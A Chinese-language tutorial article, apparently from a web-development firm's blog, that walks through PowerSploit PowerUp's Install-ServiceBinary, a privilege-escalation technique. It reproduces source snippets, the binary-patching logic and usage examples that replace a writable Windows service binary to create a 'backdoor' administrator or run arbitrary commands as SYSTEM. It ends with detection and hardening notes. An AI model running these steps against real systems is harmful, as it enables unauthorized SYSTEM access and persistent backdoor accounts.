十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

PowerSploit 之 PowerUp Install-ServiceBinary:替换服务二进制实现 SYSTEM 权限提升实战指南

PowerSploit 之 PowerUp Install-ServiceBinary:替换服务二进制实现 SYSTEM 权限提升实战指南 渗透测试网络安全【免费下载链接】PowerSploitPowerSploit - A PowerShell Post-Exploitation Framework项目地址https://gitcode.com/gh_mirrors/po/PowerSploit点击查看免费下载导读Install-ServiceBinary是 PowerSploit 框架中 Privesc/PowerUp.ps1 模块PowerUp提供的服务滥用函数之一其核心能力是在目标 Windows 主机上针对当前用户具有二进制文件写权限的服务将其服务二进制binPath 指向的可执行文件替换为一个经过补丁处理的 C# 服务程序从而以 SYSTEM 权限执行指定命令默认是创建本地管理员账户。读完本文你将掌握该函数的完整参数语义、底层实现原理备份、二进制补丁、恢复机制、典型调用示例以及对应的 Pester 测试验证方式从而能够在授权的渗透测试与红队场景中安全、规范地完成基于服务二进制替换的权限提升。本文所述技术仅用于授权环境下的安全研究与防御评估任何未授权使用均违反法律法规。函数定位PowerUp 服务滥用武器库中的一环在进入函数细节之前先明确它在整个框架中的位置。Install-ServiceBinary隶属于 PowerSploit 的 Privesc权限提升 模块。根据 docs/Privesc/index.md 的“Service Enumeration/Abuse”分类PowerUp 围绕服务提权提供了一整套相互配合的函数函数职责Get-UnquotedService返回带空格且路径未加引号的服务Get-ModifiableServiceFile返回当前用户可写其二进制或配置的服务Get-ModifiableService返回当前用户可修改配置的服务Get-ServiceDetail通过 WMI 查询服务详细信息如 binPathSet-ServiceBinaryPath修改服务的 binPathWrite-ServiceBinary写出打过补丁的 C# 服务二进制Install-ServiceBinary替换服务二进制以添加管理员或执行自定义命令Restore-ServiceBinary恢复被替换的原始服务二进制其中Install-ServiceBinary与Invoke-ServiceAbuse是两条典型的服务提权利用路线前者直接替换磁盘上的服务二进制文件后者则修改服务配置binPath。二者的前置条件不同Install-ServiceBinary要求当前用户对服务二进制文件所在路径拥有写权限即文件系统 ACL 层面可写这也是其依赖Get-ModifiablePath进行权限校验的原因。函数作者为 Will Schroederharmj0y许可证为 BSD 3-Clause其声明依赖为Get-ServiceDetail、Get-ModifiablePath、Write-ServiceBinary见 Privesc/PowerUp.ps1。语法与参数详解根据 docs/Privesc/Install-ServiceBinary.md 的 SYNTAX 段落函数签名如下Install-ServiceBinary [-Name] String [-UserName String] [-Password String] [-LocalGroup String] [-Credential PSCredential] [-Command String]对应源码中的参数定义位于 Privesc/PowerUp.ps1各参数的完整语义与默认值如下表参数类型必填位置默认值说明-NameString是1无目标服务名别名ServiceName支持管道按值/按属性传入-UserNameString否命名john要添加的[域\]用户名。若为域用户含\不会创建该用户仅将其加入指定本地组-PasswordString否命名Password123!为添加的本地用户设置的密码-LocalGroupString否命名Administrators将用户加入的本地组名-CredentialPSCredential否命名[Management.Automation.PSCredential]::Empty指定要添加的用户/密码的 PSCredential 对象-CommandString否命名无自定义要执行的命令优先级最高会取代默认的建用户流程几个关键行为需要特别说明来自文档 PARAMETERS 段落与源码双重印证-Name是唯一必填参数且带ValueFromPipeline与ValueFromPipelineByPropertyName标记因此既可以直接传服务名字符串也可以把Get-Service的输出对象直接管道进来。-UserName的默认值在文档中写为 John描述为默认 john源码中的实际默认值是john见 Privesc/PowerUp.ps1写作时应以源码为准。域用户仅加组、不创建当-UserName包含反斜杠如TESTLAB\john时函数只执行把该域用户加入本地组的操作因为当前机器上的本地账户无法创建域用户。-Credential与-UserName/-Password互斥互补若同时提供-Credential则优先使用 Credential 中的用户名和密码否则回退到-UserName/-Password若提供了-Command则前两者全部忽略。工作原理一次调用背后的四条调用链Install-ServiceBinary的核心逻辑集中在 Privesc/PowerUp.ps1分为BEGIN构造要注入的命令与PROCESS执行备份与替换两个块。3.1 BEGIN 块命令装配逻辑源码 Privesc/PowerUp.ps1 展示了$ServiceCommand的三种装配路径if ($PSBoundParameters[Command]) { $ServiceCommand $Command # 路径一自定义命令直接采用 } else { if ($PSBoundParameters[Credential]) { $UserNameToAdd $Credential.UserName $PasswordToAdd $Credential.GetNetworkCredential().Password # 路径二Credential 提取 } else { $UserNameToAdd $UserName # 路径三UserName/Password 参数 $PasswordToAdd $Password } if ($UserNameToAdd.Contains(\)) { # 域用户只加入本地组不创建 $ServiceCommand net localgroup $LocalGroup $UserNameToAdd /add } else { # 本地用户创建并加入指定组中间留 5 秒等待 $ServiceCommand net user $UserNameToAdd $PasswordToAdd /add timeout /t 5 net localgroup $LocalGroup $UserNameToAdd /add } }这里有几个值得注意的实现细节命令优先级-Command-Credential-UserName/-Password。域用户判定以用户名是否包含\为分水岭net user创建的是本地账户net localgroup才是将账户本地或域加入本地组的操作。timeout /t 5在net user ... /add与net localgroup ... /add之间加入 5 秒延迟。这是为了等待用户创建完成因为服务启动后立即执行命令时账户可能尚未就绪源码注释也明确写着 create a local user and add it to the local specified group。3.2 PROCESS 块四步攻击链# 1. 定位服务并获取 binPath $TargetService Get-Service -Name $Name -ErrorAction Stop $ServiceDetails $TargetService | Get-ServiceDetail # 2. 校验当前用户对服务二进制是否可写 $ModifiableFiles $ServiceDetails.PathName | Get-ModifiablePath -Literal if (-not $ModifiableFiles) { throw Service binary $($ServiceDetails.PathName) for service $($ServiceDetails.Name) not modifiable by the current user. } # 3. 备份原始二进制 $ServicePath $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath $BackupPath $($ServicePath).bak Copy-Item -Path $ServicePath -Destination $BackupPath -Force # 4. 生成并覆盖写入恶意服务二进制 $Result Write-ServiceBinary -Name $ServiceDetails.Name -Command $ServiceCommand -Path $ServicePath $Result | Add-Member Noteproperty BackupPath $BackupPath $Result.PSObject.TypeNames.Insert(0, PowerUp.ServiceBinary.Installed) $Result这四步逐一对应四条底层依赖第一步——Get-ServiceDetail定义于 Privesc/PowerUp.ps1通过Get-WmiObject -Class win32_service -Filter Name...查询 WMI 服务类从而拿到binPath服务二进制完整路径等详细信息。这正是后续判断能否替换哪个文件的依据。第二步——Get-ModifiablePath -Literal定义于 Privesc/PowerUp.ps1 起该函数会枚举当前 Windows 身份及其所属组的 SID并解析路径的 DACLDiscretionary Access Control List返回当前用户具备修改权限的文件。传入-Literal开关表示把 binPath 当作字面路径处理不做额外的字符串分词解析。如果当前用户对该路径没有写权限函数会直接抛错中止——这是与Invoke-ServiceAbuse修改服务配置的关键区别本函数攻击的是服务二进制文件本身的写权限而非服务配置的修改权限。第三步——备份将原始二进制复制为同目录下的原始文件名.bak例如C:\Program Files\VulnSVC.exe→C:\Program Files\VulnSVC.exe.bak。备份失败仅产生Write-Warning警告不会中止流程。第四步——Write-ServiceBinary定义于 Privesc/PowerUp.ps1这是最核心的补丁机详见下一节。3.3 深入底层Write-ServiceBinary 的二进制补丁原理Write-ServiceBinary是Install-ServiceBinary的制造工厂其实现揭示了整个机制最精彩的细节Privesc/PowerUp.ps1内嵌模板函数内部硬编码了一段 Base64 字符串$B64Binary经[Convert]::FromBase64String()还原为一个预编译的 C# 服务可执行程序从字符串元数据看模板名为Updater.exe命名空间/类为Updater.Service1是一个标准的 .NET Framework 4 服务程序包含OnStart/OnStop/Main等标准服务入口。这意味着Write-ServiceBinary无需现场调用编译器而是直接对模板进行就地打补丁。固定偏移量写入函数把服务名与要执行的命令分别以UTF-16Unicode编码后写入模板二进制中的固定偏移位置$Enc [System.Text.Encoding]::Unicode $ServiceNameBytes $Enc.GetBytes($TargetService.Name) $CommandBytes $Enc.GetBytes($ServiceCommand) # service name offset 2458 $Binary[$i2458] $ServiceNameBytes[$i] # cmd offset 2535 $Binary[$i2535] $CommandBytes[$i] Set-Content -Value $Binary -Encoding Byte -Path $Path -Force -ErrorAction Stop模板中预先为这两处字符串预留了足够长的占位空间连续的空格/E填充字节补丁后直接Set-Content -Encoding Byte写出即可得到定制版服务二进制。输出对象函数返回PowerUp.ServiceBinary类型对象包含ServiceName、Path、Command三个属性Privesc/PowerUp.ps1。Install-ServiceBinary在此基础上追加BackupPath属性并把类型名改为PowerUp.ServiceBinary.Installed后返回——这与文档 OUTPUTS 一节声明的输出类型完全一致。从源码结构可以推断该补丁式设计让整个利用过程不依赖目标机上的编译环境只需 PowerShell 运行时即可完成二进制生成这也是 PowerUp 保持轻量、免编译的核心手段。3.4 事后恢复Restore-ServiceBinary替换二进制后如何善后PowerUp 提供了配套的Restore-ServiceBinary定义于 Privesc/PowerUp.ps1。它会重新走一遍Get-Service→Get-ServiceDetail→Get-ModifiablePath的定位流程找到服务二进制路径.bak将其Copy-Item -Force覆盖回原路径并删除备份文件最后返回PowerUp.ServiceBinary.Restored类型对象。因此只要不手动删除.bak备份整条利用链就是可逆的。典型用法示例以下示例全部来自 docs/Privesc/Install-ServiceBinary.md 的 EXAMPLES 段落并补充了对应的实战注释。示例 1默认参数添加本地管理员Install-ServiceBinary -Name VulnSVC将VulnSVC服务的原始二进制备份为服务路径.exe.bak然后替换为添加本地管理员john/Password123!并将其加入Administrators组的服务二进制。下一次启动该服务时命令即以 SYSTEM 权限执行。示例 2管道传入服务对象Get-Service VulnSVC | Install-ServiceBinary-Name支持管道输入按值/按属性名这是批量处理多个服务时的推荐写法。在 PowerShell 中Get-Service返回的System.ServiceProcess.ServiceController对象会直接绑定到-Name参数。示例 3将域用户加入本地管理员组Install-ServiceBinary -Name VulnSVC -UserName TESTLAB\john当用户名包含域前缀\时生成的命令退化为net localgroup Administrators TESTLAB\john /add——只加组、不创建账户域账户的创建由域控负责本机无权操作。示例 4自定义本地后门账户Install-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123!生成net user backdoor Password123! /add timeout /t 5 net localgroup Administrators backdoor /add创建一个名为backdoor的本地管理员。示例 5执行自定义命令Install-ServiceBinary -Name VulnSVC -Command net ...-Command的优先级最高任何自定义命令都会被原样注入并作为服务启动时的执行内容示例中net ...为占位符实际可替换为任意命令串例如cmd /c whoami C:\temp\out.txt。补充示例 6Credential 对象方式文档 PARAMETERS 与源码均支持通过 PSCredential 传参测试用例中给出了标准构造方式见 Tests/Privesc.tests.ps1$Password ConvertTo-SecureString PASSword123! -AsPlaintext -Force $Credential New-Object System.Management.Automation.PSCredential -ArgumentList PowerUp123, $Password Install-ServiceBinary -Name VulnSVC -Credential $Credential模块加载与使用前提Install-ServiceBinary位于 Privesc/PowerUp.ps1 中。该文件可由 Privesc/Privesc.psm1 自动加载——模块清单文件只做一件事Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}即把目录下所有.ps1逐一点源dot-source因此所有函数均可直接使用。按 Privesc/README.md 的说明有两种使用方式方式一模块方式推荐将整个Privesc目录放入任一模块搜索路径$Env:PSModulePath中的目录例如$Env:windir\System32\WindowsPowerShell\v1.0\Modules或用户级Documents\WindowsPowerShell\Modules执行Import-Module Privesc用Get-Command -Module Privesc查看已导入的函数用Get-Help Install-ServiceBinary查看帮助。方式二直接点源单个脚本Import-Module .\Privesc\PowerUp.ps1 # 或 . .\Privesc\PowerUp.ps1使用前提重要目标为 Windows 系统且 PowerShell 版本需支持所使用的 cmdletGet-WmiObject、Get-Service等攻击前置条件当前用户必须对目标服务的二进制文件路径拥有写权限这是本函数与Invoke-ServiceAbuse的本质差异函数本身以当前用户权限执行文件操作但注入的命令会以**服务账户通常是 SYSTEM**身份运行——这正是提权的关键替换完成后需要触发服务启动如Start-Service VulnSVC或重启系统才会执行注入命令触发执行后务必调用Restore-ServiceBinary恢复原始二进制。测试验证Pester 用例揭示的完整行为契约仓库在 Tests/Privesc.tests.ps1 中为Install-ServiceBinary提供了完整的 Pester 测试套件。由于测试需要真实创建/删除 Windows 服务与本地用户其运行前提是当前 PowerShell 会话具备本地管理员权限测试开头有if (-not $(Test-IsAdmin)) { Throw ... }的硬性校验。测试夹具BeforeEach会先创建一个名为PowerUpService的测试服务其 binPath 指向当前目录的powerup.exe占位文件并在AfterEach中清理服务与.bak备份。各用例验证的行为契约如下测试用例验证点默认选项利用执行后$Output.Command匹配net启动服务后net localgroup Administrators中出现johnRestore-ServiceBinary后.bak不存在服务名走管道字符串PowerUpService \| Install-ServiceBinary等效于-Name传参服务对象走管道Get-Service PowerUpService \| Install-ServiceBinary验证按值管道绑定不存在的服务{Install-ServiceBinary -ServiceName NonExistentService456} \| Should Throw且不会创建john用户自定义用户名/密码-Username PowerUp -Password PASSword123!后该用户出现在 AdministratorsCredential 对象传入 PSCredential 后对应用户被创建并加入管理员组自定义 LocalGroup-LocalGroup Guests后用户出现在 Guests 组自定义命令-Command net user testing Password123! /add后net user列表中出现testing这些用例覆盖了本文前面描述的每一条参数分支是理解函数行为契约最直接的可执行文档。运行测试的方式需管理员权限Invoke-Pester -Script .\Tests\Privesc.tests.ps1与其他服务滥用函数的衔接将Install-ServiceBinary放入 PowerUp 的完整利用流程中其典型战场角色是Get-ModifiableServiceFile # 发现找出二进制可写的服务 ↓ Install-ServiceBinary -Name X # 利用备份并替换二进制 ↓ Start-Service X # 触发以 SYSTEM 执行注入命令 ↓ Restore-ServiceBinary -Name X # 善后从 .bak 恢复原始二进制发现阶段先用Get-ModifiableServiceFile返回服务二进制路径或配置可写的服务或Get-ModifiablePath定位可利用目标利用阶段Install-ServiceBinary一次性完成备份 打补丁 覆盖触发阶段注入的命令要等服务真正启动才会执行服务启动进程的权限即 SYSTEM善后阶段Restore-ServiceBinary利用.bak还原现场避免服务不可用引起告警。相比同模块的Invoke-ServiceAbuse通过Set-ServiceBinaryPath改服务配置指向命令命令执行后立即恢复配置Install-ServiceBinary直接替换磁盘文件二者适用场景互补前者适合对服务配置有修改权限的情况后者适合对服务二进制文件有写权限的情况。安全防御视角从蓝队视角Install-ServiceBinary的利用特征非常明显可作为检测与加固的参考文件层面服务二进制目录出现同名.bak备份文件或服务二进制文件的哈希/签名在服务未升级的情况下发生变化进程层面服务进程启动后立即执行net user/net localgroup/cmd /c等敏感命令行账户层面短时间内出现新的本地管理员账户默认特征john/Password123!加固建议严格收紧服务二进制目录如C:\Program Files\...与%SystemRoot%下可执行文件的 ACL避免普通用户具备写权限——这正是本函数Get-ModifiablePath校验所针对的脆弱点。总结Install-ServiceBinary以替换服务二进制这一经典思路将权限提升所需的多步操作封装为单条 PowerShell 命令BEGIN块负责把参数装配成net命令串PROCESS块通过Get-ServiceDetailWMI 取 binPath→Get-ModifiablePathACL 写权限校验→Copy-Item备份.bak→Write-ServiceBinary内嵌模板 固定偏移补丁完成整个利用链并配合Restore-ServiceBinary实现现场还原。其参数设计默认值、域用户判定、Credential/Command 优先级与测试套件Tests/Privesc.tests.ps1共同构成了一个完整、可逆、可验证的服务二进制提权方案是理解 Windows 服务提权原理与 PowerUp 框架设计的极佳样本。赞分享渗透测试网络安全【免费下载链接】PowerSploitPowerSploit - A PowerShell Post-Exploitation Framework项目地址https://gitcode.com/gh_mirrors/po/PowerSploit点击查看免费下载相关推荐PowerSploit PowerUp 服务二进制还原指南Restore-ServiceBinary 的原理与实战PowerSploit PowerUp 服务二进制还原指南Restore ServiceBinary 的原理与实战 导读 Restore ServiceBin渗透测试网络安全PowerSploit 实战指南用 Add-ServiceDacl 查看 Windows 服务 DACL 与权限提升侦察PowerSploit 实战指南用 Add ServiceDacl 查看 Windows 服务 DACL 与权限提升侦察 导读 Add ServiceDacl渗透测试网络安全PowerSploit PowerUp 之 Find-PathDLLHijack基于 %PATH% 目录 ACL 的 DLL 劫持路径枚举实战PowerSploit PowerUp 之 Find PathDLLHijack基于 %PATH% 目录 ACL 的 DLL 劫持路径枚举实战 导读 Find渗透测试网络安全创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表